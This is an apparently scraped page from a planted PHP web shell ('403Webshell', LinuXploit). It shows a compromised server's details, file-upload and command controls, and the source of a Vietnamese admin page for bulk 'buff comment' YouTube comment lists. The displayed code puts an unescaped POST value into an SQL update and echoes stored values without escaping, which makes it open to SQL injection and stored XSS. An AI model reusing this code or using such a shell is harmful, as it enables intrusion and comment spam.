403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/rubymnik/public_html/admin2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rubymnik/public_html/admin2/buffcomment.php
<?php
include '../configchannel.php';
include 'configtotal.php';
if(isset($_POST['MD5']))
{
	$dataInsert = array(
		'Keywords' => mysql_real_escape_string($_POST['keywords']),
		'CommentList' => mysql_real_escape_string($_POST['commentlist'])
	);
	Update('ViewYoutube_Comment', $dataInsert, '`Id` = "' . $_POST['MD5'] . '"');
	Header( "Location: https://rubymedia.studio/admin/buffcomment.php" );
	exit;
}
else if(isset($_POST['keywords']))
{
	$dataInsert = array(
		'Keywords' => mysql_real_escape_string($_POST['keywords']),
		'CommentList' => mysql_real_escape_string($_POST['commentlist'])
	);
	Insert('ViewYoutube_Comment', $dataInsert);
	Header( "Location: https://rubymedia.studio/admin/buffcomment.php" );
	exit;
}
?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="A fully featured admin theme which can be used to build CRM, CMS, etc.">
        <meta name="author" content="Coderthemes">

        <link rel="shortcut icon" href="assets/images/favicon_1.ico">

        <title>Ruby Media</title>

        <!--Morris Chart CSS -->
		<link href="assets/plugins/custombox/css/custombox.css" rel="stylesheet">
 
        <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />

        <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
        <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
        <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
        <![endif]-->

        <script src="assets/js/modernizr.min.js"></script>
        
    </head>


    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <!-- ========== Left Sidebar Start ========== -->

            <?php  include 'header/taskbar.php'; ?>
            <!-- Left Sidebar End --> 



            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->                      
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">

                        <!-- Page-Title -->
                        <div class="row">
                            <div class="col-sm-12">
                                <h4 class="page-title">BUFF COMMENT</h4>
                                <ol class="breadcrumb">
                                    <li><a href="#">Ruby Media</a></li>
                                    <li class="active">Buff Comment</li>
                                </ol>
                            </div>
                        </div>
                        <div class="row">
                        	<div class="col-lg-12">
                        		<div class="card-box">
                        			<div class="row">
			                        	<div class="col-sm-4">
			                        		 <a href="#custom-modal" class="btn btn-default btn-md waves-effect waves-light m-b-30" data-animation="fadein" data-plugin="custommodal" 
			                                                    	data-overlaySpeed="200" data-overlayColor="#36404a"><i class="md md-add"></i> Thêm Chủ Đề Comment</a>
			                        	</div>
			                        </div>
                        			<div class="table-responsive">
                                        <table class="table table-hover mails m-0 table table-actions-bar">
                                        	<thead>
												<tr>
													<th width="50">#</th>
													<th style="width: 30%;">Từ Khóa Nhận Dạng Chủ Đề</th>
													<th style="width: 70%;">List Comment (Phân biệt bởi mỗi dòng)</th>
													<th></th>
												</tr>
											</thead>
											
                                            <tbody>
												<?php
												$result = Select('ViewYoutube_Comment', false, "", "");
												$dem = 1;
												while($res = mysqli_fetch_array($result)) :
												?>
												<tr>
                                                    <td>
                                                        <?php echo $dem++; ?>
                                                    </td>
                                                    <td>
                                                        <?php echo $res['Keywords']; ?>
                                                    </td>
													<td>
                                                       <?php echo substr($res['CommentList'],0 , 60); ?>
                                                    </td>
													<td>
														<a href="#custom-modal-<?php echo $res['Id']; ?>" class="table-action-btn"  data-animation="fadein" data-plugin="custommodal" 
			                                                    	data-overlaySpeed="200" data-overlayColor="#36404a"><i class="md md-edit"></i></a>

																	<div id="custom-modal-<?php echo $res['Id']; ?>" class="modal-demo">
																		<button type="button" class="close" onclick="Custombox.close();">
																			<span>&times;</span><span class="sr-only">Close</span>
																		</button>
																		<h4 class="custom-modal-title">Edit Comment</h4>
																		<div class="custom-modal-text text-left">
																			<form role="form" method="POST">
																				<div class="form-group">
																					<label for="name">Từ Khóa Nhận Dạng Chủ Đề</label>
																					<input type="text" class="form-control" name="keywords" value="<?php echo $res['Keywords']; ?>" placeholder="VD: gaming,gaming music">
																				</div>
																				<div class="form-group">
																					<label for="name">Danh Sách Comment (Phân biệt bởi mỗi dòng)</label>
																					<textarea class="form-control" name="commentlist" style="height: 300px"><?php echo $res['CommentList']; ?></textarea>
																				</div>
																				<input type="hidden" value="<?php echo $res['Id']; ?>" name="MD5"/>
																				<button type="submit" class="btn btn-default waves-effect waves-light">Save</button>
																				<button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
																			</form>
																		</div>
																	</div>
													</td>
                                                </tr>
												<?php endwhile; ?>
                                            </tbody>
                                        </table>
                                    </div>
                        		</div>
                                
                            </div> <!-- end col -->

                            
                        </div>

                        
                        
                        

                    </div> <!-- container -->
                               
                </div> <!-- content -->

                <?php  include 'header/footer.php'; ?>

            </div>
            
            
            <!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="Custombox.close();">
			        <span>&times;</span><span class="sr-only">Close</span>
			    </button>
			    <h4 class="custom-modal-title">Thêm Chủ Đề Comment</h4>
			    <div class="custom-modal-text text-left">
			        <form role="form" method="POST">
			        	<div class="form-group">
							<label for="name">Từ Khóa Nhận Dạng Chủ Đề</label>
							<input type="text" class="form-control" name="keywords" value="<?php echo $res['Keywords']; ?>" placeholder="VD: gaming,gaming music">
						</div>
						<div class="form-group">
							<label for="name">Danh Sách Comment (Phân biệt bởi mỗi dòng)</label>
							<textarea class="form-control" name="commentlist" style="height: 300px"><?php echo $res['CommentList']; ?></textarea>
						</div>
                        <button type="submit" class="btn btn-default waves-effect waves-light">Save</button>
                        <button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
                    </form>
			    </div>
			</div>
            
            
            
            <!-- /Right-bar -->

        </div>
        <!-- END wrapper -->


    
        <script>
            var resizefunc = [];
        </script>

        <!-- jQuery  -->
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/detect.js"></script>
        <script src="assets/js/fastclick.js"></script>
        <script src="assets/js/jquery.slimscroll.js"></script>
        <script src="assets/js/jquery.blockUI.js"></script>
        <script src="assets/js/waves.js"></script>
        <script src="assets/js/wow.min.js"></script>
        <script src="assets/js/jquery.nicescroll.js"></script>
        <script src="assets/js/jquery.scrollTo.min.js"></script>


        <script src="assets/js/jquery.core.js"></script>
        <script src="assets/js/jquery.app.js"></script>
        
        <!-- Modal-Effect -->
        <script src="assets/plugins/custombox/js/custombox.min.js"></script>
        <script src="assets/plugins/custombox/js/legacy.min.js"></script>

    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit